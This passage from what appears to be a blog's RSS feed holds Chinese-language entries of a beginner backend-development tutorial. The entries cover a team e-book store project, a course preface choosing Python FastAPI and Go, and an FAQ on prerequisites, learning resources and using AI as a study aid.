&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="project-1-电子书商城"&gt;Project 1: 电子书商城
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;与前端组协调, 后端小组与前端小组共同完成电子书商城项目.&lt;/li&gt;
&lt;li&gt;要求:
&lt;ul&gt;
&lt;li&gt;强制使用 Feature Branch 工作流&lt;/li&gt;
&lt;li&gt;编写有意义的 Commit Message&lt;/li&gt;
&lt;li&gt;团队成员之间需要进行 Code Review&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>1.0 后端教程入门篇前言</title><link>https://v3n0.com/post/backend-tutorial/1.0/</link><pubDate>Sat, 09 Aug 2025 19:56:20 +0800</pubDate><guid>https://v3n0.com/post/backend-tutorial/1.0/</guid><description>&lt;p&gt;:::warning 📌
施工中
:::&lt;/p&gt;
&lt;p&gt;欢迎阅读。我是本教程编者&lt;a class="link" href="https://v3n0.com/" target="_blank" rel="noopener"
&gt;V3n0&lt;/a&gt;。&lt;/p&gt;
&lt;h2 id="教程的初衷"&gt;教程的初衷
&lt;/h2&gt;&lt;p&gt;我不想让这个教程变成某某语言，某某框架的速通指南。这个教程的目的不是给你一堆可以直接复制的代码，而是带你走过从不会到能独立解决问题的完整路径。&lt;/p&gt;
&lt;p&gt;对于现实场景的后端开发，真正重要的不是死记某个框架的 API，而是通用的后端思维与解决问题的能力: 后端开发通用的核心概念，从业务需求入手的设计思路，如何通过查阅文档来上手一个从来没有用过的框架/语言，如何组织代码结构，如何 debug&amp;hellip;&lt;/p&gt;
&lt;p&gt;我不希望读者在跟完一个教程后，脱离示例代码就无从下手。相反，我希望你能在面对陌生问题时，凭借后端开发的共通思路，结合搜索引擎和文档，独立构建出可运行、可维护的功能。&lt;/p&gt;
&lt;p&gt;有人会问，后端教程非常非常多，为什么我不直接在这里推荐教程呢？&lt;/p&gt;
&lt;p&gt;对于很多后端新手，我主要担心的问题有几点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;过度依赖某一语言/框架，离开它就举步维艰。&lt;/li&gt;
&lt;li&gt;过度依赖教程，陷入教程的死循环。&lt;/li&gt;
&lt;li&gt;缺少“学习方法”的传授，只教结果，不教过程。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我希望补足的就是这些点。对于一些概念性问题，我会尽可能用通俗的方法讲懂。但是对于一切具体的代码示例，我会完整演示如何查阅文档、定位关键 API、逐步推导到可运行代码，而不是直接贴出最终答案。我会假设自己从未使用过教程中提到的框架或库，这样的演示更接近真实开发中遇到的场景。现实里，你很少会记住所有 API，但快速阅读和理解文档的能力是长期有效的核心竞争力。&lt;/p&gt;
&lt;p&gt;本教程不会把每一个概念都讲的非常深入刁钻。对于一些进阶的知识，我会以拓展阅读的形式呈现。&lt;/p&gt;
&lt;p&gt;希望这个教程能帮助你把现代后端开发的关键知识点串联起来，为后续的深入学习打下完整框架。&lt;/p&gt;
&lt;h2 id="教程技术栈选择"&gt;教程技术栈选择
&lt;/h2&gt;&lt;p&gt;入门篇将会使用 Python FastAPI SQLModel。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Python 是一门足够新手友好的后端语言，语法简单，生态丰富。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;FastAPI, SQLModel 有优秀的官方文档和新手友好设计。FastAPI 和 SQLModel 的文档本身就是足够优秀的后端教程。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在入门篇我希望尽可能减少语言上的门槛，快速讲清现代后端开发的各种基本概念，熟悉开发流程。&lt;/p&gt;
&lt;p&gt;进阶篇会使用 Go Gin GORM。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Go 语言语法简洁，可读性高，特别适合讲解底层实现和架构设计。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Go 天生就很适合微服务架构，可自然过渡到更复杂的后端场景。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在这一阶段，会讲解后端框架的构建原理、应用的底层设计理念，以及缓存、消息队列、微服务、云原生等更高阶的主题。&lt;/p&gt;
&lt;h2 id="教程前置知识需求"&gt;教程前置知识需求
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;掌握至少一门编程语言基础&lt;/strong&gt;。Python、JavaScript、Java、Go 都可以，但不只是会语法，更重要的是理解函数，理解类和对象，能灵活使用基础数据结构（列表、字典、集合等），理解控制流（循环、分支）、递归、异常处理。这里推荐一个十分权威的神课 &lt;a class="link" href="https://csdiy.wiki/%E7%BC%96%E7%A8%8B%E5%85%A5%E9%97%A8/Python/CS61A/" target="_blank" rel="noopener"
&gt;&lt;strong&gt;CS61A&lt;/strong&gt;&lt;/a&gt;。本人也是通过 CS61A 打开了编程的大门。并且语言使用 Python ，和入门篇衔接上了。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;基础的命令行使用能力&lt;/strong&gt;。后端学习过程中会频繁接触命令行（CLI），比如：创建/进入目录、运行脚本；安装软件包、运行服务器；使用 Git 进行版本控制；修改配置文件等。虽然不是必须“精通”，但你至少要不排斥和恐惧命令行、能基本操作它。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;基本的英文阅读能力&lt;/strong&gt;。后端世界几乎一切文档、错误提示、API参考资料……全是英文的，本教程的 SQLModel 文档同样是英文。你不需要能流利写作或口语，但你需要：能读懂开发文档；能大致看懂报错信息；能 Google/Stack Overflow 查英文资料。如果你暂时没有练成，也不用担心，善用翻译工具就行。比如&lt;a class="link" href="https://immersivetranslate.com/zh-Hans/" target="_blank" rel="noopener"
&gt;&lt;strong&gt;沉浸式翻译&lt;/strong&gt;&lt;/a&gt;浏览器插件。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;畅通的网络环境&lt;/strong&gt;。后端开发离不开 GitHub、Stack Overflow、官方文档、npm/pip 等包管理平台。如果你不能流畅访问这些网站，找学长私聊琢磨下。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;提问的智慧&lt;/strong&gt;。你可能听说过&lt;a class="link" href="https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/blob/main/README-zh_CN.md" target="_blank" rel="noopener"
&gt;&lt;strong&gt;《提问的智慧》&lt;/strong&gt;&lt;/a&gt;这篇经典文章。这个文章的语气对新手有点压迫感，有种高高在上令人生畏的感觉，至少我是新手时是这么想的，看完感觉自己都不配提问了。但它确实讲的很好。虽然标题是提问的智慧，但实际上它不只是告诉你怎么问问题，更是在潜移默化地教你怎么分析问题、定位问题，最终自己解决问题，而后者我认为反而是更重要的。你可以在无聊的时候看一看这篇文章。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="如何运用本教程"&gt;如何运用本教程
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;主动学习：遇到不懂的内容时，第一步不是跳过，而是搜索、查阅文档、比对示例。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;提问方法：参考&lt;a class="link" href="https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/blob/main/README-zh_CN.md" target="_blank" rel="noopener"
&gt;提问的智慧&lt;/a&gt;。它不仅教你如何提问，更能训练你分析、定位、并独立解决问题的能力。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;文档跟读：教程中会多次引导你进入官方文档查找答案，请务必自己操作，而不是只看结果。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;完成作业：多数模块都会布置小作业，建议动手完成。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;拓展阅读：会提供相关资源，按需阅读以拓宽知识面。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;记录学习：建议尝试搭建自己的博客，记录每一步的思考过程和遇到的问题。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;团队合作项目：入门篇和进阶篇教程末尾会安排一个综合性 Project，推荐小组合作完成，以学习协作开发和项目管理，并且任务量可能不适合一个人完成。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>0.2 后端答疑篇</title><link>https://v3n0.com/post/backend-tutorial/0.2/</link><pubDate>Mon, 04 Aug 2025 02:06:14 +0800</pubDate><guid>https://v3n0.com/post/backend-tutorial/0.2/</guid><description>&lt;p&gt;这里我尽可能多地列举了小白可能想问的问题，简单的分了一下类别，列举在这里。&lt;/p&gt;
&lt;p&gt;:::warning 📌
此处的回答仅为个人观点
:::&lt;/p&gt;
&lt;p&gt;:::warning 📌
施工中
:::&lt;/p&gt;
&lt;h2 id="入门思考与自我定位"&gt;入门思考与自我定位
&lt;/h2&gt;&lt;h3 id="1-为什么学习后端"&gt;1. 为什么学习后端？
&lt;/h3&gt;&lt;p&gt;这里假设你是一个刚刚掌握了编程基础，知道类和对象等基本概念、可能完成过一些练习但缺乏完整项目经验的新手，想继续深入学习。&lt;/p&gt;
&lt;p&gt;在如果有引导、有系统学习资源，从后端开发切入项目实践，是一个很不错的选择。我会讲讲优点和缺点。&lt;/p&gt;
&lt;p&gt;学习后端会很好的&lt;strong&gt;巩固你的编程内功&lt;/strong&gt;，因为它的核心是&lt;strong&gt;逻辑，数据和架构&lt;/strong&gt;，会直接强迫你应用和深化函数、类、对象、数据结构等知识。你写的每一行代码都在处理具体的数据和逻辑流。入门后端之后，你也更容易进入云计算，DevOps，架构设计等等更进阶的领域，可以尝试“微服务”等更现代的系统构建。&lt;/p&gt;
&lt;p&gt;后端的“&lt;strong&gt;技术保质期&lt;/strong&gt;“更长。相较于前端，后端开发初期可以暂时不用理会UI设计、浏览器兼容性、页面布局以及五花八门，日新月异的前端框架。后端许多核心框架，如 Java 的 Spring、Python 的 Django，已经稳定存在十多年。近年来虽然像 Go, Rust 这种新兴语言的现代 Web 框架也开始流行，但整体来看，后端开发的核心思想变化并不大。真正变化较多的，其实是在基础设施和部署层面，比如容器化、服务网格、Serverless 等。而前端，三年前的主流技术可能放到现在已经不是最优解，导致开发者可能需要不断学习新的工具集。准确说，前端变化虽快，但并非完全“无用”，核心模型（组件化、响应式、虚拟DOM）是稳定演进的，不过也不可避免地带来开发者适应新技术的心智负担。&lt;/p&gt;
&lt;p&gt;学习后端之后，面对不同语言或框架的后端，你的&lt;strong&gt;技能可迁移性&lt;/strong&gt;会更强。API设计、数据库交互、用户认证，中间件等，这些概念在不同的语言和框架之间是通用的。而核心的业务逻辑甚至基本可以脱离特定的 Web 框架而存在。&lt;strong&gt;你会学习到通用的“道”，而不是仅仅某一个工具的“术”&lt;/strong&gt;。在技能的迁移性这一点上，后端比前端好很多。后端的核心职责是&lt;strong&gt;处理数据和执行业务规则&lt;/strong&gt;，前端的核心职责是&lt;strong&gt;管理UI状态，响应用户交互&lt;/strong&gt;。前端的业务逻辑基本等同于 UI 交互逻辑，而如何高效地管理“状态”并在状态改变时更新UI，正是每个前端框架要解决的核心问题。对于状态管理，UI渲染更新，组件通信，可能每个框架作者都充满了不同的看法，每个框架的机制都可能不同，有时甚至是哲学上的不同（比如 React 是“函数式 + 声明式”，Vue 是“模板驱动 + 响应式”），会需要你在整个思维模式上做出改变。不同的前端框架代表了不同的“道”，它们的“术”也为了各自的“道”而服务。你会需要透过现象看本质的能力，理解组件化和现代 Web 应用的构建思想，才是前端里的可迁移技能。总之，后端在早期阶段，更容易让人接触到通用的设计思想，而前端则在深入后，才逐渐显现其模型哲学和架构价值。&lt;/p&gt;
&lt;p&gt;从&lt;strong&gt;功利一点的角度&lt;/strong&gt;来看，后端在很多团队中的确&lt;strong&gt;更容易产生直接的业务价值&lt;/strong&gt;，并在&lt;strong&gt;产品形态与系统架构上拥有更多的话语权&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;比如在很多公司中，尤其是以业务驱动为主的企业，产品设计往往是后端和产品一起深度参与完成的：他们会一起确定业务流程、字段结构、权限模型等核心内容，然后由后端定义出接口，告诉前端该怎么调用。&lt;/p&gt;
&lt;p&gt;在这种分工下，前端更多是在已有接口和交互方案的基础上实现用户体验和交互逻辑，而后端则会相对而言更早介入产品设计，在架构，数据建模层面有更高参与度，包括数据模型如何抽象、流程怎么串联、接口怎么设计；系统的扩展性、可维护性、可复用性怎么保证；甚至未来支持新业务方向时的延展能力。&lt;/p&gt;
&lt;p&gt;如果你希望在产品落地中扮演更主动的角色，希望不仅是“接接口”，而是参与“设计接口”的过程，那么学习后端会让你更有这种掌控感和产出感。&lt;/p&gt;
&lt;p&gt;而从技术成长上看，后端也常常&lt;strong&gt;承担“架构演进”的主力&lt;/strong&gt;，比如服务拆分、微服务架构设计、数据库优化、系统容错等，这些都往往是后端主导的领域。因此如果你对“做更深的技术”和“参与业务底层逻辑”的方向感兴趣，后端是一个天然更贴近这些目标的位置。&lt;/p&gt;
&lt;p&gt;当然，这种角色差异也不是绝对的。在注重用户体验和复杂前端交互的项目中，比如低代码平台、图形编辑器、可视化大屏、Web IDE 等，前端也会拥有极大的设计空间和技术主导性。只是从平均情况和传统项目结构来看，后端更接近系统核心，因此也容易承担更大的设计责任和产出主力。&lt;/p&gt;
&lt;p&gt;从后端入门同样有缺点。&lt;/p&gt;
&lt;p&gt;显而易见的缺点是它&lt;strong&gt;更抽象，缺乏即时直观的反馈，入门门槛高&lt;/strong&gt;。可能你写了好多代码，却只实现了一个简单的增删改查。如果缺乏兴趣，缺乏引导，大概率会让你感到枯燥迷茫。对于编程基础较弱的同学，可能前面所说的“巩固”会变成“卡住”。相比之下，前端哪怕只是复制粘贴一个按钮，都能马上看到结果。&lt;/p&gt;
&lt;p&gt;并且想独立完成一个功能完整的后端项目，难度的确不可避免会很大。对于刚学会编程基础的新手，只写过小函数小脚本，要是看到那么复杂的项目结构，这真的令人望而却步。新手可能会花大量时间在搭环境配置，连不上库，理不清架构上。&lt;/p&gt;
&lt;p&gt;后端调试错误对于一些新手可能很困难，原因在于后端错误很多时候相对更加抽象，偏向逻辑和网络协议的错误。这些错误经常只是说：“Internal Server Error”，“Database connection refused”，“NoneType has no attribute &amp;lsquo;xyz&amp;rsquo;”，可能很难找到问题源头。而前端调试更偏UI/状态/异步交互类（虽说二者都不简单）。&lt;/p&gt;
&lt;p&gt;不过，我们的 HDU-CS-Wiki 后端教程会用最新手友好的方式，让你无痛入门后端。&lt;/p&gt;
&lt;p&gt;:::info Note
教程仍在施工，敬请期待，欢迎提供建议。
:::&lt;/p&gt;
&lt;h3 id="2-我适合后端吗"&gt;2. 我适合后端吗？
&lt;/h3&gt;&lt;p&gt;相比于一个按钮好不好看，你是否更关心它背后的系统是如何高效运转的？你是否享受分析一个问题的本质、理清逻辑结构？你是否对性能、稳定性、安全性等底层问题感兴趣？如果答案偏向于是，那么你就有成为优秀后端开发者的潜质。&lt;/p&gt;
&lt;p&gt;如果你希望在产品落地中扮演更主动的角色，希望不仅是“接接口”，而是参与“设计接口”的过程，那么学习后端会让你更有这种掌控感和产出感。&lt;/p&gt;
&lt;p&gt;如果你玩天际线，缺氧，异形工厂之类的规划类游戏，那你也很可能适合学习后端。&lt;del&gt;(夹带私货了, 因为本人也玩)&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;还有很多初学者，即使起初并不偏好后端，但希望通过项目实践掌握软件工程的通用技能，也很适合从后端开发入手，培养工程思维。也许后来你会发现后端开发的乐趣。&lt;/p&gt;
&lt;p&gt;如果你仍不确定，欢迎来群里聊聊。&lt;/p&gt;
&lt;h3 id="3-后端比前端难学吗"&gt;3. 后端比前端难学吗？
&lt;/h3&gt;&lt;p&gt;这个问题没有绝对的答案，有各自的难处，难点和节奏不同。&lt;/p&gt;
&lt;p&gt;后端门槛略高，更抽象更逻辑化，但入门之后你会感到自己在稳定扎实地前进，路线会很清晰。前端可以相对更友好地入门，但可能需要你更多广泛的涉猎，时刻紧跟动态。而且当你成为熟练的前端开发者之后，如果你想继续研究前端开发，可能你的关注点会延伸到美学、人文、可访问性等超出纯编程的领域。这需要你站在“用户视角”上去感受、思考，不是纯靠逻辑能解决的。后端则更多聚焦在数据与逻辑的构建，强调性能、可维护性、可靠性，偏向工程理性。&lt;/p&gt;
&lt;p&gt;但你如果想问这个问题，大概率你目前只打算先选一个学。这是完全可以理解的，但也要意识到：&lt;strong&gt;现代 Web 开发，前后端知识是有一定交叉的&lt;/strong&gt;。端开发者如果完全不懂前端，那和前端沟通起来会有障碍，可能不知道“这个接口怎么用才好”；前端开发者如果完全不懂后端，也可能会写出一些逻辑混乱、接口滥用的代码。真正理解前后端职责边界、协作模式的人，才能写出“干净、合理、可维护”的系统。&lt;/p&gt;
&lt;h2 id="后端的前置知识"&gt;后端的前置知识
&lt;/h2&gt;&lt;h3 id="4-学后端之前我需要先学什么"&gt;4. 学后端之前，我需要先学什么？
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;掌握至少一门编程语言基础&lt;/strong&gt;。Python、JavaScript、Java、Go 都可以，但不只是会语法，更重要的是理解函数，理解类和对象，能灵活使用基础数据结构（列表、字典、集合等），理解控制流（循环、分支）、递归、异常处理。这里推荐一个十分权威的神课 &lt;a class="link" href="https://csdiy.wiki/%E7%BC%96%E7%A8%8B%E5%85%A5%E9%97%A8/Python/CS61A/" target="_blank" rel="noopener"
&gt;&lt;strong&gt;CS61A&lt;/strong&gt;&lt;/a&gt;。本人也是通过 CS61A 打开了编程的大门。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;基础的命令行使用能力&lt;/strong&gt;。后端学习过程中会频繁接触命令行（CLI），比如：创建/进入目录、运行脚本；安装软件包、运行服务器；使用 Git 进行版本控制；修改配置文件等。虽然不是必须“精通”，但你至少要不排斥和恐惧命令行、能基本操作它。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;基本的英文阅读能力&lt;/strong&gt;。后端世界几乎一切文档、错误提示、API参考资料……全是英文的。你不需要能流利写作或口语，但你需要：能读懂开发文档；能大致看懂报错信息；能 Google/Stack Overflow 查英文资料。如果你暂时没有练成，也不用担心，善用翻译工具就行。比如&lt;a class="link" href="https://immersivetranslate.com/zh-Hans/" target="_blank" rel="noopener"
&gt;&lt;strong&gt;沉浸式翻译&lt;/strong&gt;&lt;/a&gt;浏览器插件。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;畅通的网络环境&lt;/strong&gt;。后端开发离不开 GitHub、Stack Overflow、官方文档、npm/pip 等包管理平台。如果你不能流畅访问这些网站，找学长私聊琢磨下。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;提问的智慧&lt;/strong&gt;。你可能听说过&lt;a class="link" href="https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/blob/main/README-zh_CN.md" target="_blank" rel="noopener"
&gt;&lt;strong&gt;《提问的智慧》&lt;/strong&gt;&lt;/a&gt;这篇经典文章。这个文章的语气对新手有点压迫感，有种高高在上令人生畏的感觉，至少我是新手时是这么想的，看完感觉自己都不配提问了。但它确实讲的很好。虽然标题是提问的智慧，但实际上它不只是告诉你怎么问问题，更是在潜移默化地教你怎么分析问题、定位问题，最终自己解决问题，而后者我认为反而是更重要的。你可以在无聊的时候看一看这篇文章。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="5-我需要先学习前端吗"&gt;5. 我需要先学习前端吗？
&lt;/h3&gt;&lt;p&gt;不需要先学前端，完全可以直接学后端。&lt;/p&gt;
&lt;p&gt;关于这个问题其实前面的问题已经部分回答过了。这里继续梳理一遍。&lt;/p&gt;
&lt;p&gt;后端的核心任务是：处理数据、执行业务逻辑、提供接口。这套能力可以完全独立于 UI 层被开发和测试，不依赖页面渲染、按钮交互、DOM 等前端技术。也就是说，你哪怕一个 HTML 标签都没写过，也可以搭建一个能处理请求、连接数据库、执行业务逻辑的后端服务。&lt;/p&gt;
&lt;p&gt;这正是后端适合作为编程进阶路径的原因之一 —— 它能直接锤炼你的数据处理、结构设计、逻辑思维等“编程内功”。&lt;/p&gt;
&lt;p&gt;但懂一点前端，有时会帮你更好地理解前后端协作的边界。稍微了解一些 HTML/HTTP/前端如何调用 API 的方式，你会更容易理解前后端接口怎么对接，明确哪些逻辑该由后端做，哪些放在前端，或者自己写一些简单页面来测试接口，提升效率。这些都不是前置条件，而是顺带掌握、越学越通透的部分。因此 Web 前后端也不是完全分家的。你大概率两者都要涉猎一点点。&lt;/p&gt;
&lt;h3 id="6-学后端要会很多算法吗"&gt;6. 学后端要会很多算法吗？
&lt;/h3&gt;&lt;p&gt;不需要。大多数后端工作不需要你掌握大量复杂的算法，不需要你再像高中那样天天刷算法题，大多数时候用到些常规算法就行了，尤其现在各种高质量的算法库和框架早已实现了大多数通用算法，很多时候你只需要正确调用并理解其输入输出即可。&lt;/p&gt;
&lt;p&gt;因为，后端开发面对的日常问题更多的是在于工程能力、架构思维、业务理解能力，而不是实现某个图算法，手写红黑树。不过，基本的算法和数据结构知识是进阶必需的。排序、查找，哈希表、栈、队列、树、图的基本概念，时间复杂度之类的。你需要知道“这些算法大概是干什么的”，知道“何时使用它们”，而不一定要从头造轮子。&lt;/p&gt;
&lt;p&gt;算法当然是值得学的，但仅对于后端开发角度而言，是不必精通的。你对算法本身感兴趣，当然可以深入。最重要的在于你的兴趣。&lt;/p&gt;
&lt;h2 id="后端的学习路线方法资源"&gt;后端的学习路线，方法，资源
&lt;/h2&gt;&lt;h3 id="7-后端要学些啥"&gt;7. 后端要学些啥？
&lt;/h3&gt;&lt;p&gt;一开始只需要掌握一门语言 + 一个 Web 框架 + 一个数据库，能写出一个最基础的 API 服务，就已经能入门了。&lt;/p&gt;
&lt;p&gt;你只需要学会：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;怎么写接口（GET、POST、PUT、DELETE）；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;怎么存数据（增删改查）；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;怎么把你的服务部署起来让别人访问。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这就已经是后端开发者了，真的没那么难。&lt;/p&gt;
&lt;p&gt;在此基础上，你可以逐步学地深一点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;更复杂的数据库模型（比如多表关联）；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;项目结构的组织（如何让代码更清晰、可维护, 设计模式）；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;基础的安全（鉴权、密码加密等）；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;容器化部署（Docker）；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;团队协作开发（Git, Code Review）；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;性能优化、缓存、消息队列；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;微服务，容器集群编排(kubernetes);&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&amp;hellip;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些内容是可以逐步补上的，不是一开始就要全掌握。&lt;/p&gt;
&lt;p&gt;如果你想要一份更系统的大纲，欢迎关注 HDU-CS-Wiki 的后端教程。&lt;/p&gt;
&lt;h3 id="8-后端的相关教程资源"&gt;8. 后端的相关教程资源？
&lt;/h3&gt;&lt;p&gt;坦白说，如果你认真读了前面的内容，你基本已经知道你大概要学什么内容，按照什么顺序学了。&lt;/p&gt;
&lt;p&gt;但是我怕新手犯的一个错误，就是打开 B 站，搜了个后端入门，打开黑马程序员三十天速通 Spring Boot 一声不吭在那看，看着视频敲啥就照着敲啥。结果教程看完，发现离了教程就不会做了。又或者看到一半发现实在太枯燥无聊，中道崩殂。&lt;/p&gt;
&lt;p&gt;这种“填鸭式看剧”学习法听起来很安心，但实际上效率极低。你可能一晚上看了两小时，却啥也没留下来，第二天一行代码都写不出来。然后你会想，我大概需要重新看一遍教程，或者找点别的教程。这时你就陷入了教程漩涡，不能说没有进步，但是可能相对还是有点低效。而且后端更重要的不是“学某个框架”，而是学会看文档，学会调试，学会融会贯通。这也是为什么我的教程倾向于尽可能多地演示官方文档的材料的目的。&lt;/p&gt;
&lt;p&gt;读一些教学书籍未尝不可，但它需要高度的投入。一般这种书会非常详细地解释每个概念，这很棒，但也意味着进步是缓慢的，这不适用于每个人。而且大多数人不会“阅读第 x 章并完成章节后的练习”。&lt;/p&gt;
&lt;p&gt;正确的后端学习姿势是，主动探索，文档优先。&lt;/p&gt;
&lt;p&gt;我很推荐你根据自己的兴趣，用一个简单的语言和框架，跟着文档一步步直接上手尝试，尝试实现你自己想做的有趣东西。想象不到如何实现，那就直接问 AI 或者查文档。&lt;/p&gt;
&lt;p&gt;这里也推荐一些靠谱的后端课程/资源：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://developer.mozilla.org/zh-CN/docs/Learn_web_development/Extensions/Server-side" target="_blank" rel="noopener"
&gt;MDN Web Doc - Server-side&lt;/a&gt; Mozilla 出品，浅显易懂，涵盖后端全貌，业界权威。&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://fastapi.tiangolo.com/zh/" target="_blank" rel="noopener"
&gt;FastAPI 官方文档&lt;/a&gt; 它虽然是框架文档，但文档作者很有开源精神，在作为框架说明文档的同时，还普及了通用的后端知识和编程知识，已经是广受好评的后端教程。Python 同时也是一个很好上手的语言，从 FastAPI 开始入门后端是相当新手友好的。&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://sqlmodel.tiangolo.com/" target="_blank" rel="noopener"
&gt;SQLModel 官方文档&lt;/a&gt; SQLModel 和 FastAPI 同作者。同样是新手友好的库，同样在文档中教学 SQL 的基础知识。&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/fastapi/full-stack-fastapi-template" target="_blank" rel="noopener"
&gt;FastAPI 全栈模板&lt;/a&gt; 在你感觉越写越乱时，可以模仿它来组织你的代码结构。拉取仓库，跑一跑玩一玩，也能顺便让你上手 Git 和 Github。&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://www.freecodecamp.org/" target="_blank" rel="noopener"
&gt;freeCodeCamp&lt;/a&gt; 有很多不错的免费教程。&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://sqlbolt.com/" target="_blank" rel="noopener"
&gt;SQL Bolt&lt;/a&gt; 交互式 SQL 教学，很有趣，很推荐。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果你听说过 Go 语言并且想从 Go 语言上手(这会比较有挑战性)：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://studygolang.gitbook.io/learn-go-with-tests" target="_blank" rel="noopener"
&gt;Learn Go with tests&lt;/a&gt; 从 Go 语言基础，到 简单的 http 应用开发，并且还教会你测试驱动开发的方法，不完全是后端教程，更多还是 Go 语言基础。&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://gowebexamples.com/" target="_blank" rel="noopener"
&gt;Go Web Examples&lt;/a&gt; 从基础到RESTful API开发&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;遇到问题时，问老登是很好的。&lt;/p&gt;
&lt;p&gt;不要被教程框住你该走的路。你要成为构建知识的人，而不是单纯的知识接受者。&lt;/p&gt;
&lt;p&gt;最后，欢迎关注 HDU-CS-Wiki 的后端教程。教程预计将分为两个部分，第一部分会用 Python FastAPI 带你简单入门后端，第二部分会由浅入深地用 Go 语言带你搭建自己的第一个大型微服务架构应用。&lt;/p&gt;
&lt;p&gt;欢迎你推荐你认为同样不错的教程。&lt;/p&gt;
&lt;h3 id="9-我要选择哪一门语言-我要选择什么框架"&gt;9. 我要选择哪一门语言？ 我要选择什么框架？
&lt;/h3&gt;&lt;p&gt;大多数时候你纠结的不是语言，而是害怕选错、走弯路。但放心讲一句：新手根本不可能选错。对于后端新手，选择简单的语言和框架即可，Python FastAPI , 或者 node.js Express 就不错。但是入门之后，也不用担心自己的技术栈不够深，而把自己定位在某一个语言，专注同一个框架。你可以拥抱各种新领域，广泛探索。因为对于后端，真正的“深入”不在于语言，而在于你是否理解背后的原理和模式。&lt;/p&gt;
&lt;h2 id="关于ai"&gt;关于AI
&lt;/h2&gt;&lt;h3 id="10-如何正确利用-ai-辅助学习"&gt;10. 如何正确利用 AI 辅助学习？
&lt;/h3&gt;&lt;p&gt;在你完全接触一个新领域时，把 AI 当作一个全天候，有耐心的私人助教。这个阶段的 AI 会极大节省你到处翻看文档查找资源的时间。并且好处在于，你永远不需要担心自己的问题是不是太蠢。你可以说：用一个生活中的例子，解释什么是RESTful API？帮我看看这段代码有什么可以优化的地方？有没有明显的不良实践？&lt;/p&gt;
&lt;p&gt;但是！如果你还没学会基础编程的各种概念，除非你已经绞尽脑汁，否则请不要将 AI 用于你的任何 &lt;strong&gt;代码练习&lt;/strong&gt; 中。这个阶段你需要的是一砖一瓦地亲手搭建最基础的知识框架。&lt;/p&gt;
